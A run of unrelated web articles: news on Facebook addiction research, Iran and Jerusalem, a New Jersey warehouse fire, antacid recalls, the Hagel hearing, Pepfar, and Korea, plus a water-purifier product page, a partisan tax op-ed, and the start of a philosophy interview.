As of April 2012, Facebook has over 900 million active worldwide users. As of April 2012, Facebook has over 900 million active worldwide users.
"We have also found that people who are anxious and socially insecure use Facebook more than those with lower scores on those traits, probably because those who are anxious find it easier to communicate via social media than face-to-face," says Andreassen.
The Norwegian team also finds that people who are more organized and ambitious tend not to become addicted to Facebook, and are more likely to use social media as an integral part of work and networking activity.
Andreassen says they find women tend to be more at risk of developing Facebook addiction, something they attribute to the social nature of Facebook.
Dr Mark D Griffiths, Professor of Gambling Studies in the International Gaming Research Unit at Nottingham Trent University in the UK, writes a response to the study in the same issue of the journal.
In a personal blog about his response, he says that while he had no problem with the study by Andraessen and colleagues, he wished to comment more widely on doing research into Facebook addiction.
Griffiths says the BFAS most likely arose from a need to help researchers who require a psychometrically validated tool for investigating problematic use of Facebook, and as such it will clearly be useful.
But in his view, the field of Facebook addiction now has to move on and keep pace, and in doing so needs to address several points.
For instance, there is a need to address social networking as an activity, separate from Facebook, which is a commercial product of which social networking is just one aspect. People now go on Facebook to gamble, play games like Farmville, watch films and videos, swap photos, message friends, and update their profile.
Another point Griffiths makes is that we need to clarify what it is that people on social networks are really addicted to, and what, for example, a Facebook addiction tool is really measuring. The BFAS may only be applicable to Facebook, and not for example to other social networking sites such as Bebo, which is popular with young teenagers.
With the fast pace at which electronic media and sites that started primarily for social networking, are changing and offering an increasingly varied number of activities, Griffiths suggests the term "Facebook addiction", like "Internet addiction" may already be obsolete.
There is a big difference between addictions on the Internet, and addiction to the Internet, he adds, and the same argument now holds true for Facebook, as it does for mobile phones.
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Sa’adollah Zaeri, an analyst who often writes for hard-line Kayhan newspaper and is believed to be linked ideologically to the Islamic Revolutionary Guard Corps (IRGC), wrote that Trump’s decision to recognize Jerusalem as Israel’s capital has certain advantages. “This situation in reality under these conditions makes Iran’s work in forming a resistance front with a focus on defending Palestine easier,” Zaeri wrote in Tasnim News Agency.
One of the biggest groups that Iran has helped form in the Middle East is the Lebanese group Hezbollah. The deputy secretary-general of Hezbollah, Naim Qassem, presented a similar analysis as Zaeri. “America has made clear what it has always hidden,” Qassem said of Trump’s move on Jerusalem. “Now, the option of resistance must be supported at various levels.” He continued, “South Lebanon was freed through resistance, and it became clear that Israel can be defeated.”
Fars News Agency published a list of Palestinian condemnations in reaction to Trump’s decision on Jerusalem. The first two groups on the list were Hamas and Islamic Jihad, two groups Iran has supported militarily. Although Iran had a falling out with Hamas over differences involving the civil war in Syria, Iran has maintained contact with the group. In their statements, Hamas and Islamic Jihad both echoed similar statements by Iranian officials saying that the move has removed any doubt about US impartiality regarding the Israel-Palestine issue. Ahmad Al Mudallal, a member of Islamic Jihad, which has stronger ties to Iran than Hamas, called on the Palestinian Authority to end peace negotiations being mediated by the United States, saying, “America cannot establish peace in the world because it is the cause of instability in the region.”
Iran has had success in setting up armed groups throughout the Middle East, particularly in Syria and Iraq, in recent years. Iran’s support for Palestinian groups, however, dates back to the early days of the 1979 Islamic Revolution and has continued to varying degrees since.
The idea of “resistance” is often in reference to American and Israeli hegemony and their regional allies. It still has a strong resonance with conservatives and hard-liners, particularly the IRGC, which favors countering US influence rather than compromising. For instance, neither Rouhani, Vice President Eshaq Jahangiri, Secretary of the Supreme National Security Council Ali Shamkhani nor the Ministry of Foreign Affairs statement referenced “resistance” in their condemnations of Trump’s decision.
The warehouse on Livingston Avenue went up in flames around 2 a.m., police and fire personnel said. The warehouse includes space for the DCH Collision Center car repair shop, plus plastics and rug manufacturers.
Fire Chief Donald Salzmann said at a news conference that one firefighter suffered a minor hand injury, but nobody else was hurt.
As of about 9 a.m., the fire was under control, but still burning hot in the south end of the warehouse, where a plastics manufacturer operates. The fire started in the center of the building, and firefighters were unable to keep it from spreading, Salzmann said. About eight different companies operate in the building, Salzmann said.
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One building at a nearby apartment complex caught fire due to ambient heat, Salzmann said at a news conference, but it was quickly extinguished.
It's not clear when residents will be able to go back home. County HazMat crews will have to make that assessment. Air quality checks will also be conducted.
Mayor Francis "Mac" Womack said residents of North Brunswick and South Brunswick might experience low water pressure.
"They should conserve water and be prepared for that," Womack said.
The town said in an emailed alert that residents should keep windows and doors shut and air conditioners off, when possible, due to the smoke. Water might be discolored due to pressure issues.
A staging area for evacuees has been set up at the Linwood Middle School. The Birchwood, Hearthwood and part of the Manor housing complexes were evacuated due to an enormous plume of smoke.
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Police said the warehouse is fully involved, not the dealership.
The four-alarm fire has forced the ramp from Route 1 north to Livingston Avenue to be closed, according to 511nj.org, the Department of Transportation's traffic website. East Brunswick police said Hardenburg Lane into North Brunswick was closed due to the fire. North Brunswick police said that traffic has not been bad this morning.
No train delays were reported.
Although that area of North Brunswick is commercial, there are some neighborhoods because it is near Route 130. North Brunswick police are asking any displaced residents with no place to go to go Linwood Middle School.
Flames and smoke could be seen from as far south as Toms River and as far north as New York City New Jersey 101.5 and WABC-7 said.
Vehicles are repaired and stored in the warehouse, according to WABC-7.
The owner of the building, who also owns the Achim Imports home furnishings company, did not respond to requests for comment. Jordan Logistics Inc. and HJA Logistics also have space in the building, their websites say.
TOKYO (TR) – A 34-year-old businessman from Chiba Prefecture has scrapped plans to form an all-girl singing group composed of members residing in areas exposed to high radiation following complaints from local townspeople, reports the Asahi Shimbun (Feb. 10).
The manager, whose group was to be called Hot☆Spots, had solicited prospective members aged between 10 and 22 and living in northwestern cities in the prefecture through the distribution of leaflets and the Internet. Auditions had been planned for the end of February with the group debuting in April. Several application had been received, the paper said.
In the months after the Great East Japan Earthquake and the meltdowns at the Fukushima Daiichi nuclear power plant on March 11 last year, radiation “hot spots” were discovered in some areas of Chiba, including Kashiwa City.
Local citizens said the plan to form the idol group lacked common sense. “It is different from our vision,” said a representative from the Kashiwa City radiation counter-plan office. “We would like to have a more pleasing image for the city.”
Trying to find your favorite antacid lately could easily bring on heartburn.
Recalls of more than a dozen types of antacids — including brand names such as Rolaids, Pepcid and Mylanta — have left store shelves empty, retailers scrambling to increase production of store-brand knockoffs and consumers wondering what's going on.
And relief may not come soon.
A string of recalls throughout 2010 all involved Johnson & Johnson products. Recalled Pepcid products are slowly being restocked, but others are out indefinitely, pending approval from the U.S. Food and Drug Administration.
The recalled products' absence also has put pressure on competitors — such as Tums and store brand antacids — to ramp up production to keep up with increased demand.
"The Kroger brand has experienced a significant increase in demand — a significant enough increase that at times we've struggled to keep up in terms of supply," says John Elliott, a spokesman with Kroger, which just last month created its own Rolaids-equivalent brand in response to the recalls.
In addition, the grocer stepped up production of store brands that were competitors to the other recalled Johnson & Johnson products.
At CVS, the drugstore chain is unabashedly promoting its own brand.
An empty shelf at its Fortville, Ind., location, where Pepcid AC should have been, instead had a sign that read: "Looking for Pepcid AC products? Try CVS/pharmacy Brand for the same great results."
Joe Culp, a three- to four-times-a-week antacid user, did just that.
It wasn't that he couldn't find a recalled brand. He couldn't even find his favorite variety of competitor Tums.
"The shelves were a little bit empty," said Culp, who lives in Indianapolis. "Instead of Tums, I had to buy generic."
In less than four months, 18 antacids have been recalled for various reasons.
In the case of Mylanta's November recall, packaging neglected to note alcohol in its flavoring agents.
Rolaids' December recall followed consumer reports of foreign materials in the product, including metal and wood particles. Pepcid's August recall was initiated because of a potential risk of bottles being punctured during the packaging process.
Just last week, Pepcid appealed to customers on its website.
"We apologize for the inconvenience this may be causing you and assure you we are working diligently to get your products back as quickly as possible."
Marc Boston, a spokesman with McNeil Consumer Healthcare, Johnson & Johnson's largest consumer unit, said the company has posted openly and honestly about the recalls on each brand website.
At Pepcid, for example, "it not only tells you which products are available but also at which online and local market retailers you can find the products," he said.
Plenty of people are looking.
A recent study found that 1 in 10 people buys an antacid at least once a month. Sales of antacids nationwide jumped 7% in 2010, pulling in $1.2 billion, according to Drug Store News, a publication on the pharmaceutical industry.
The top three brands in terms of market share: Prilosec OTC, with $288.5 million in sales; Zantac 150, with $72.7 million; and Pepcid Complete, with $53.9 million.
That makes the recalls even more worrisome for brands such as Rolaids and Mylanta, which began losing ground after prescription-only Prilosec and Zantac began offering over-the-counter varieties.
And then there are the store brands, which even before the recalls were taking sales from some of the national brands.
The recall has only bolstered that trend.
"If you've got a customer who would normally buy a 20-pack of a brand, and they've all been recalled, they are going to buy the store brand," Meijer spokesman Frank Guglielmi said.
18 antacids involved in recalls
Here are products that have been recalled and how to find out when they will be available.
Rolaids
- Rolaids Extra Strength Softchews, Wild Cherry.
Rolaids Extra Strength Softchews, Cherry.
- Rolaids Extra Strength Plus Gas Softchews, Tropical Fruit.
- Rolaids Multi-Symptom Plus Anti-Gas Softchews, Tropical Fruit.
- Details: Consumer reports of foreign materials in the products, including metal and wood particles, prompted a voluntary recall. McNeil-PPC had determined that the materials were potentially introduced into the product during manufacturing at a third-party facility.
To learn more: www.rolaids.com/page.jhtml?id=rolaids/include/recall_dec.inc
Pepcid
- Pepcid Complete chewable tablets, 50-count Tropical Fruit.
- Original Strength Pepcid AC tablets, 90-count.
- Reason for recall: According to Johnson & Johnson and Merck Consumer Pharmaceuticals, a small number of bottles were punctured during the packaging process, prompting a voluntary recall. This is not a consumer-level recall but is at the wholesaler and retailer levels.
- Details: www.pepcid.com/product-availability; www.pepcid.com/news
Mylanta
- Mylanta Regular Strength Original, 12-ounce.
- Mylanta Original, 5-ounce.
- Mylanta Regular Strength Mint, 12-ounce.
- Mylanta Maximum Strength Cherry, 12-ounce.
- Mylanta Maximum Strength Mint, 12-ounce.
- Mylanta Maximum Strength Original, 12-ounce.
- Mylanta Maximum Strength Original, 24-ounce.
- Mylanta Ultimate Strength Mint, 12-ounce.
- Mylanta Ultimate Strength Cherry, 12-ounce.
- Mylanta Supreme Tasting with Calcium Cherry, 12-ounce.
- Mylanta Supreme Tasting with Calcium Cherry, 24-ounce.
- Alternagel, 12-ounce.
- Reason for recall: After consulting with the FDA, Johnson & Johnson and Merck initiated a recall of 12 Mylanta products after an internal review found that information about the presence of alcohol from flavoring agents (less than 1%) was not noted on the packaging. This is a wholesale- and retail-level recall.
- Details: www.mylanta.com/news.
Source: Company news releases
The Indianapolis Staris a Gannett-owned media company.
The former two-term Republican senator faced strong GOP resistance and was forced to explain past remarks and votes even as he appeared on a path to confirmation as Obama second-term defense secretary and the nation’s 24th Pentagon chief.
His fiercest exchange came with Sen. John McCain, R-Ariz., a fellow Vietnam veteran, onetime close friend and a potential vote that would carry considerable sway. Politics and Hagel’s evolving opposition to the Iraq war caused a split between the two men that was on full display at the confirmation hearing.
McCain pressed Hagel on whether he was right or wrong about his opposition to the influx of 30,000 U.S. troops in Iraq in 2007. Hagel, who voted to authorize military force in Iraq, later opposed the conflict, comparing it to Vietnam and arguing that it shifted the focus from Afghanistan.
“Were you right? Were you correct in your assessment?” McCain asked.
“I would defer to the judgment of history to sort that out,” Hagel said as the two men talked over each other.
“The committee deserves your judgment as to whether you were right or wrong about the surge,” McCain insisted.
Unable to elicit a simple answer, McCain said the record should show that Hagel refused to answer.
McCain made it clear that he would have the final word – with his vote, which he said would be influenced by Hagel’s refusal to answer yes or no.
“I think history has already made a judgment about the surge, sir, and you’re on the wrong side of it. And your refusal to answer whether you were right or wrong about it is going to have an impact on my judgment as to whether to vote for your confirmation or not,” he said.
Hagel was the lone witness in a jam-packed hearing room at a session that could be crucial in determining whether he will win Senate confirmation and join Obama’s second-term national security team. He spoke out forcefully for a strong military while trying to explain 12 years of Senate votes and numerous statements.
“No one individual vote, no one individual quote or no one individual statement defines me, my beliefs, or my record,” Hagel told the Senate Armed Services Committee. “My overall worldview has never changed: that America has and must maintain the strongest military in the world; that we must lead the international community to confront threats and challenges together; and that we must use all tools of American power to protect our citizens and our interests.”
Hagel, 66, a decorated Vietnam combat veteran, would be the lone Republican in Obama’s cabinet and the first enlisted man to become defense secretary, a point that Armed Services Committee Chairman Carl Levin, D-Mich., highlighted.
“It would be a positive message for our soldiers, sailors, airmen and Marines in harm’s way around the world to know that one of their own holds the highest office in the Department of Defense and that he has their backs,” Levin said.
Two former committee chairmen – Democrat Sam Nunn and Republican John Warner – introduced the nominee.
“War for Chuck Hagel is not an abstraction,” Nunn said.
Hagel has the announced backing of about a dozen Democrats and the tacit support of dozens more who are unlikely to embarrass the president by defeating his Cabinet pick. One Republican – Sen. Thad Cochran of Mississippi – has said he will vote for his former colleague.
Seven Republicans, including four members of the Armed Services panel, have said they will oppose Hagel’s nomination. Sen. Marco Rubio, R-Fla., announced his opposition on Thursday, saying Hagel’s views “are too apart from what I believe to be the way forward for preserving America’s proper role in the world.”
Democrats hold a 55-45 advantage in the Senate.
Republicans repeatedly questioned Hagel about a May 2012 study that he co-authored by the advocacy group Global Zero that called for an 80 percent reduction of U.S. nuclear weapons and elimination of all nuclear-armed intercontinental ballistic missiles.
The group argued that with the Cold War over, the United States needs no more than 900 total nuclear weapons. Currently, the U.S. and Russia have about 5,000 each, either deployed or in reserve. Both countries are on track to reduce the deployed strategic warheads to 1,550 by 2018, the number set in the New START treaty that the Senate ratified in December 2010.
War for Chuck Hagel is not an abstraction
Sen. Deb Fischer, R-Neb., quoted from the report and expressed serious misgivings.
“Many of my colleagues are concerned you’ve changed your views. My concerns are that you haven’t changed your views. You continue to hold extreme views, far to the left even of this administration,” said Fischer.
In last year’s Senate race, Hagel endorsed Fischer’s Democratic rival, former Sen. Bob Kerrey, who also is a decorated Vietnam combat veteran.
Hagel insisted that the report was illustrative and said it wasn’t realistic to consider unilateral reductions.
In an exchange with Sen. Bill Nelson, D-Fla., Hagel sought to explain that his wartime experience in which he was wounded twice informed his decisions and votes.
“It does condition you,” he said. “I’m not shaped, framed, molded, consumed by that experience. Of course not. But it’s part of me.”
Once the hearing was under way, the Republican National Committee put out a news release titled, “Chuck Hagel is the Wrong Choice for Secretary of Defense,” and contending that he would weaken the nation’s military.
Responding specifically to attacks from outside GOP-leaning groups, Hagel repeated his regrets about using the term “Jewish lobby” to refer to pro-Israel groups. He said he should have used another term.
“I should have used another term and I’m sorry and I regret it,” Hagel said. “On the use of intimidation, I should have used `influence,’ I think would have been more appropriate.”
You continue to hold extreme views, far to the left even of this administration
Hagel said he was committed to Obama’s goal of ensuring that Iran does not obtain a nuclear weapon, and insisted that all options, including military force, are on the table.
“My policy is one of prevention, and not one of containment – and the president has made clear that is the policy of our government,” Hagel said.
Under questioning, Hagel said he always supported multilateral sanctions against Iran, but acknowledged that he cast votes against unilateral sanctions on a case-by-case basis. He argued that in some cases, such as votes in 2001-2002, he was taking into account the concerns of Republican President George W. Bush.
He also countered with votes and letters against Iran and Hezbollah.
“There’s a more complete record than just one or two or three or four” votes, Hagel said, insisting that he has been on the record many times saying Hamas and Hezbollah are terrorist organizations and Iran is a state sponsor of terrorism.
Republican Sen. Lindsey Graham of South Carolina was harshly critical of Hagel for failing to sign letters to the European Union and the president in years past on designating Hezbollah a terrorist organization and backing Israel.
Purify water. Anywhere. After four years of obsessing over every detail of its design and performance, we're excited to unveil the GRAYL® Ultralight Purifier Bottle. Fast and easy to use; it makes clean, purified drinking water (in less than 15 seconds) from virtually any fresh water source in the world! It's a game changer and may very well be the only water bottle that anyone, anywhere, will ever need.
Full-spectrum purification (+filtration). Ever spent three days attached to a ceramic throne due to bad water? With [ONE PRESS], the Ultralight offers the ultimate protection against pathogens (viruses, bacteria, protozoa), particulates, chemicals and heavy metals.
Removes 99.9999% of viruses (e.g. Rotavirus, Hepatitis A), 99.9999% of bacteria (e.g. E coli, Salmonella), and 99.999% of protozoan cysts (e.g. Giardia, Cryptosporidium).
For global travel, outdoor adventure and emergencies. Whether you’re filling up at a questionable hotel sink in Peru, on a gnarly trail needing to drink from a dirty stream, or at home prepping a disaster kit —the Ultralight Purifier has you covered.
Safe water for any adventure. Designed for minimalists seeking the ultimate in convenience, portability and performance; the Ultralight is a perfect compadre for walking the globe, traversing a trail, adventure travel, or whitewater descents — anywhere!
Sustainable travel. Single-use plastic water bottle consumption is proliferating at a staggering rate and global plastic pollution is now an epidemic. This is especially evident in destinations where tap water is unsafe to drink, which often correlates to an increase in plastic pollution in streams, estuaries and empty lots. Travelers can now avoid buying bottled water altogether, and instead use the Ultralight Purifier Bottle for treating all their water. Up until now, there has never been a more efficient and convenient means to purify (+filter) water on-the-go.
The lifespan of GRAYL's Replaceable Purifier Cartridges is 300 uses (40 gal/150 L).
FILL. PRESS. DRINK.™
Fast & easy; takes only 15 seconds. Just follow these simple steps to make safe, clean purified drinking water – anywhere! Remarkably, the Ultralight does NOT require batteries, UV bulbs, chemicals, pumping, sucking, squeezing or prolonged waiting.
Re[Fill] at any stream, lake, sketchy tap, hotel sink, or bathroom; anywhere in the world!
Press on the ground (or below 20 inches). Fast and easy, takes only 15 seconds.
Drink purified water, anywhere. Safe drinking water for any adventure.
ELECTROADSORPTIVE PURIFICATION [+FILTRATION] MEDIA
Unlike standard mechanical filtration, the Ultralight is powered by a patented game-changing electroadsorptive media capable of removing submicron pathogens and inorganic contaminants.
With [ONE PRESS], electroadhesion and ion exchange create a powerful submicron trap for pathogens (viruses, bacteria and protozoan cysts). Additionally, the purifier media contains many embedded layers of ultra-powdered activated carbon which create a large surface area for removing toxins like chemicals and heavy metals. Silver treated zeolites, a natural antimicrobial, inhibit growth and keeps the purifier fresh between uses.
FEATURES
Ultralight and compact. Weighs only 10.9 oz.
Designed for minimalists seeking ultimate convenience, portability, affordability and performance.
Integrated attachment loop. Clip onto any pack or side pocket.
Designed for minimalists seeking ultimate convenience, portability, affordability and performance.
Durable, engineered for harsh environments. Safe water for any adventure!
Tough as nails, the Ultralight is designed to be used by anyone, on any adventure.
Transparent design. See your purified H2O.
Unlike other filter bottles, our patented [ONE PRESS] allows you to transport safe, CLEAN drinking water.
[ONE PRESS] purification & filtration. Fast and easy to use; takes only 15 seconds.
Patented design doesn't require any batteries, UV bulbs, chemicals, pumping, sucking or squeezing.
Full-spectrum protection. Purification and filtration, anywhere in the world!
Clean, purified drinking water in 15 secs. Replaceable purifier cartridge effective for 300 uses (40 gal/150 L).
Meets NSF/ANSI standard 42+53. Improves water health, taste, odor and clarity.
Effectively filters pharmaceuticals, sediment, chemicals and heavy metals.
SPECIFICATIONS
Removes 99.9999% of viruses (e.g. Rotavirus, Hepatitis A)
Removes 99.9999% of bacteria (e.g. E coli, Salmonella)
Removes 99.999% of protozoan cysts (e.g. Giardia, Cryptosporidium)
Filters particulates (e.g. sediment, dirt), many chemicals (e.g. chlorine, benzene) and heavy metals (e.g. lead, arsenic)
(e.g. sediment, dirt), (e.g. chlorine, benzene) (e.g. lead, arsenic) Size: 9.625" (24.5 cm) H x 2.875" (7.30 cm)
Weight: 10.9 oz (309 g)
Capacity: 16 oz (473 ml)
Fast Flow Rate: 15 seconds per 16 oz (2 liters/minute)
Lifespan of Replaceable Purifier Cartridge*: 300 uses (40 gal/150 L)
Active Technology: Electroadsorption, ultra-powdered activated carbon and silver treated zeolites
Antimicrobial: Yes
Chemical-free: Yes
BPA free materials: Yes
Meets NSF/ANSI Standards: 42+53
Designed in USA
Purifier media made in USA | Ultralight Bottle made in China
* Replacement Purifier Cartridges available for purchase at thegrayl (dot) com
UPDATES
PLEDGE OPTIONS
Howler is 32 fluid ounces, ½ the size of a standard growler. Vacuum insulation keeps PURIFIED H2O (or beer) ice cold for up to 24hrs; flip-lock lid locks carbonation (beer or other bubbly) tight and prevents leakage.
Be prepared with this two-pack, one for the home and another for transport. Full-spectrum protection.
The perfect set-up for a FAMILY of four looking for safe passage on an adventure and a means to curtail single-use plastic consumption while traveling — anywhere.
The Travel Bag is the antithesis of the usual brick on wheels; it's a run for the bus, jump on a plane, walk the globe, adventure traveler. They made it big enough to hold everything but still compact enough to make sure it passed as a carry-on.
THE GRAYL STORY
Water has shaped our landscapes and every civilization. Today, far too many people do not have access to safe drinking water, and those of us that do rarely have truly clean drinking water. Sadly, serious contaminants such as fracking chemicals, pharmaceuticals and even E. coli contamination are turning up in our "potable" water.
Here at GRAYL's offices in rainy Seattle, our comparatively clean and abundant water still contains added chlorine, trace amounts of arsenic and lead. We have dared to imagine that it should be possible to avoid both immediate and cumulative water hazards globally. We've now made that simple to achieve with [ONE PRESS] purification (+filtration).
The Water Filtration Cup, our first product, was released a couple years ago. It received a lot of media attention, won several awards, and rapidly attracted a loyal customer base. Much was learned over the first six months, especially around manufacturing, product design and user feedback.
The experience of starting a company and creating a disruptive product technology has been wild and extremely rewarding, yet at the same time humbling. Some of our earliest supporters came to us with product design suggestions for improving their experience. In particular, we received requests for a lightweight and compact "bottle" capable of purification (+filtration), along with a no frills hassle-free loop cap.
The Ultralight Purifier (+Filter) Bottle represents a pure distillation of all we’ve learned over the last few years and since have aspired to create.
About Our Co-Founders:
Founded in 2012, GRAYL was inspired by two global travelers, Nancie Weston and Travis Merrigan, and their concerns about global plastic pollution and the poor quality (health, taste, odor, clarity) of water that people around the world endure daily. Nancie and Travis are committed to changing the status quo by making practical and durable filtration and purification solutions.
Nancie founded GRAYL to make a difference in the world, and to solve real world problems. Her journey began in the Cascade Mountains, infected with giardia by drinking from a beautiful crystal clear spring. Moreover, what haunted her was a beach she had visited in Mexico that was literally covered in plastic trash. She decided to make a difference by creating a product that would address both problems.
A gifted designer with two previous patents, Nancie used her talent to imagine the system that would become [One Press]. Her tentative filtration solution, using a variation of a French press filtration method captured her imagination. Nancie consulted engineers who doubted that her idea could be done. However, she would not give up, there had to be a way. Working with a talented team, she improved upon the design, launching GRAYL’s first product, The Water Filtration Cup, in 2013. The Ultralight is a response to customer suggestions and a continual striving for improvement.
International organisations that receive funds through the President's emergency plan for Aids relief (Pepfar) must sign an "anti-prostitution pledge" prohibiting them from doing anything that could be perceived as supporting sex work. Activists say this has weakened the already underfunded response to the HIV epidemic among some of the most vulnerable communities.
"We need concerted pressure against the US to look into its anti-prostitution pledge and its relationship to HIV rates," said Andrew Hunter, president of the Asia-Pacific Network of Sex Workers. He said some organisations have rejected Pepfar funding because of the pledge, while others have closed entire programmes.
A key problem, said Hunter, is that the pledge affects all projects that are implemented by a grantee – regardless of whether or not a specific project receives money from the fund. This, combined with vague wording and uneven enforcement, has left many organisations unclear about which of their activities might be permitted or forbidden, he said.
Hunter said this confusion has led to "ridiculous levels of withholding services", as frontline staff worry about their programmes closing if they are perceived to be violating the pledge. "The pledge has ended up being far more damaging and applying to far more than even its most conservative supporters had wanted," he said.
The multibillion-dollar Pepfar initiative, launched by President George W Bush in 2003, funds HIV prevention, care and treatment in more than 150 countries. Most of the money goes to sub-Saharan Africa.
US organisations that receive Pepfar money are no longer bound by the pledge, after successfully taking the government to court on the basis that the conditions attached to funding violate first amendment rights. But organisations outside the US are still required to sign it.
"We can't even apply for Pepfar because we wouldn't sign the pledge," said Daisy Nakato, from Wonetha, a Ugandan human rights organisation founded by sex workers in 2008 to respond to abuse and violence against them by the police. Nakato argues that supporting sex workers and advocating their human rights is the key to improving their health, social and economic conditions.
Meena Seshu, head of Sangram, a community-based organisation in Maharashtra, India, said the Pepfar pledge adds "another layer of oppression" to the stigma and discrimination sex workers already face in daily life. In 2006, Sangram refused to sign the pledge and returned money it had received from Pepfar.
Around 200 organisations and individuals have signed a petition demanding that the US government repeals the pledge. The petition says the pledge has led to "the reduction or complete elimination of HIV prevention and treatment services for sex workers in numerous countries". "The US is preventing the delivery of successful health programmes and important resources to sex workers worldwide," it says.
Last month, the Global Commission on HIV and the Law said the pledge puts grantees in "an impossible bind: if they don't sign, they are denied the funds they need to control and combat HIV. If they sign, recipient organisations are barred from supporting sex workers in taking control over their own lives … including taking steps to avoid HIV and prevent its spread."
On Monday, the US secretary of state, Hillary Clinton, announced $37m (£24m) in new funding for initiatives that target vulnerable communities, such as sex workers and drug users, to achieve an "Aids-free generation". However, Clinton did not mention the US visa exclusion that prevented sex workers from attending the Washington conference and prompted an alternative summit in Kolkata to be convened.
"We can't afford to avoid sensitive conversations and we can't fail to reach those who are at highest risk," she said, pledging $2m for civil society activities, another $15m for research and $20m for country-led programmes.
Hunter said Clinton's comments were "too little too late", adding that these initiatives are a "drop in the ocean" compared with the changes activists are demanding. Beyond repeal of the anti-prostitution pledge, Hunter said the US government must realign its trade and global health priorities. In Vietnam, he said, the near exclusive use of patented drugs has led to long lists of people waiting to receive life-saving treatment.
Remember in May when President Trump said his policies would spur the U.S. gross domestic product (GDP) to grow at a rate of 3 percent or higher? The so-called experts insisted that it was unrealistic, highly unlikely, and probably impossible.
Some of these experts suggested 3 percent growth could only happen if our immigrant population doubled over a decade or the nation went to a six-day work week. They said even if unemployment fell to zero, we still wouldn’t get close.
Imagine their surprise then when the Commerce Department announced on Friday that the GDP has grown at 3 percent – for the second quarter in a row.
The Democrats and the liberal media will no doubt continue to try to find so-called experts who oppose the Republican tax cut plan. Americans should consider how often these supposed experts have been wrong about President Trump and his policies.
This is a big victory for President Trump and Republicans. Growth has been driven by the administration’s aggressive deregulatory efforts, its America first position on trade, and other economic policies.
Americans – including members of Congress – should remember how wrong these so-called experts were when the Republicans unveil the 2017 tax cut plan. Serious tax cuts will be the key to sustaining 3 percent economic growth – or higher – for years to come.
The Trump-GOP tax cut plan will cut the corporate tax rate from 35 percent to 20 percent – and set a 25 percent maximum tax rate for small businesses and other pass-throughs. This alone will create jobs, increase wages, and help spur GDP growth.
The White House Council of Economic Advisers says the corporate tax cut will increase median household income by $3,000 to $7,000. It will be very interesting to see how congressional Democrats try to justify voting against a $3,000 to $7,000 income raise for American families.
The plan also restructures the way we tax multinational businesses and incentivizes large U.S. companies to invest their earnings back into the U.S. economy. Currently, such businesses have an estimated $2 trillion to $3 trillion in foreign earnings that could be repatriated under the GOP plan.
A recent report by the nonpartisan Tax Foundation estimated the GOP plan, “would boost long-run GDP by 9.1 percent. The larger economy would translate into 7.7 percent higher wages and result in 1.7 million more full-time equivalent jobs.”
In addition to creating jobs and boosting salaries, the plan will reduce taxes for low- and middle-income taxpayers by doubling the standard deduction to $12,000 for individuals and $24,000 for married couples. That means the first $12,000 a person earns would be tax free.
According to the Federal Reserve Bank of St. Louis, real median personal income in the United States in 2016 was $31,099. So, a single person making the median income under the new GOP plan would not pay taxes on 39 percent of his or her income. A person making below the individual poverty threshold would pay nothing in taxes.
Finally, under the Trump-GOP tax cut plan, most Americans would save considerable time and money filing their taxes because most people will be able to use a federal tax form the size of a post card. The individual tax rate brackets would be folded down from seven to three or four, and the onerous alternative minimum tax would be abolished. This reduction in complexity is like having a second income increase since people will save the money they have been spending on tax preparation.
The Democrats and the liberal media will no doubt continue to try to find so-called experts who oppose the Republican tax cut plan. Americans should consider how often these supposed experts have been wrong about President Trump and his policies.
The two Koreas are in a tense political standoff after the North's nuclear test in January and a long-range rocket launch on Feb. 7. South Korea and the United States say they were grave violations of U.N. Security Council resolutions.
The allies are expected to begin large-scale annual military drills in early March, which the North calls preparations for war and routinely vows retaliation over.
Saturday's firing, heard from the island of Baengnyeong, was probably aimed in a northwestern direction from the North's shore as part of an exercise, a South Korean defense ministry official said by telephone, asking not to be named.
The South's office of the Joint Chiefs of Staff later said there were several rounds of artillery fire, revising a comment by the ministry official that there had been a single shot, and there were no other unusual movements by the North's military.
South Korea suspended the operation of a jointly run factory park in the North, closing what had been the last window of regular interaction born out of a summit meeting in 2000, when leaders pledged to work for peace and reconciliation.
The area is near the scene of the sinking of a South Korean navy ship in 2010 that the South blames on the North, although Pyongyang denies any role.
The island of Baengnyeong sits just a few kilometers (miles) from the disputed Northern Limit Line (NLL) border and less than 20 km (12 miles) at its closest point to the North's shore.
"Minimum effort — maximum effect," the Polish Judo Association tweeted after a conservative party spokesman was taken down by a leg hook.
The clash began when a passer-by tried to pose a question to ruling Law and Justice (PiS) party politician Ryszard Terlecki and got too close for comfort, according to the politician.
PiS spokesman Krzysztof Wilamowski sprung into action and tried to pull the passer-by away, but the man swung his right leg around and brought them both down, unharmed.
"Harai goshi is a throw from the hip throw group," the Polish Judo Association said of the takedown move on Twitter, also attaching a how-to diagram.
"And judo can be of use to anyone and anywhere!"
‘If you deny that Kant thought that perceptual consciousness constitutively depends on the understanding – if you think instead that Kant allowed that we could be perceptually presented with empirical particulars independent of the use of any concepts – then that looks to make possible a rapprochement between Kant and naïve realism.‘
‘People perceive patients in a persistent vegetative state (PVS) as having less mental capacity than the dead, that we think of them as ‘more dead than dead’. That’s surprising, to say the least. Don’t we ordinarily think of death as bringing to an end a subject’s mental capacities? In which case, how can there be people who have less mental capacity than the dead?‘
‘Imagine finishing Anna Karenina and being asked: does Anna really care for her son? In answering that question, we think back to the characterisation of Anna’s relationship with her son; we think of the things she does and whether they can be explained as resulting from her love for him. We can disagree about the answer. But it would be odd to answer ‘No’ to the question on the basis that Anna dies at the end of the novel, so is therefore incapable of loving anyone.‘
Anil Gomes is Fellow and Tutor in Philosophy at Trinity College, Oxford and an Associate Professor in Philosophy in the Faculty of Philosophy in the University of Oxford. His main research interests are in the philosophy of mind and Immanuel Kant’s Critique of Pure Reason and, in particular, on issues which arise at their intersection. Here he discusses Kant’s uninterested in knowledge of the empirical world, the Transcendental deduction, whether Kant was a naive realist, some issues of other minds, the role of testimony in this, the mental states of people in persistent vegetative states, and whether philosophy – and Kant – has anything to offer in the domain of studying the mind. Start off the new year with a leap into the funky depths…
3:AM: What made you become a philosopher?
Anil Gomes: The idiosyncracies of the British educational system, as much as anything else. When I applied to universities, you were only allowed to make six choices, one of which could be Oxford or Cambridge. I wanted to study politics – I’d been brought up in a left-wing household in a city which prided itself on its radical heritage – so five of my six choices were for politics courses. But at Oxford the only way to study politics was through a degree in Philosophy, Politics and Economics. So I applied for that, and started the degree expecting to concentrate on politics. I soon found that I enjoyed and seemed to be good at philosophy. (It helped that my first teachers were Bill Child, Ian Rumfitt, and Hanna Pickard – I can’t imagine a better introduction to philosophy.) So I concentrated on philosophy, and enjoyed every moment.
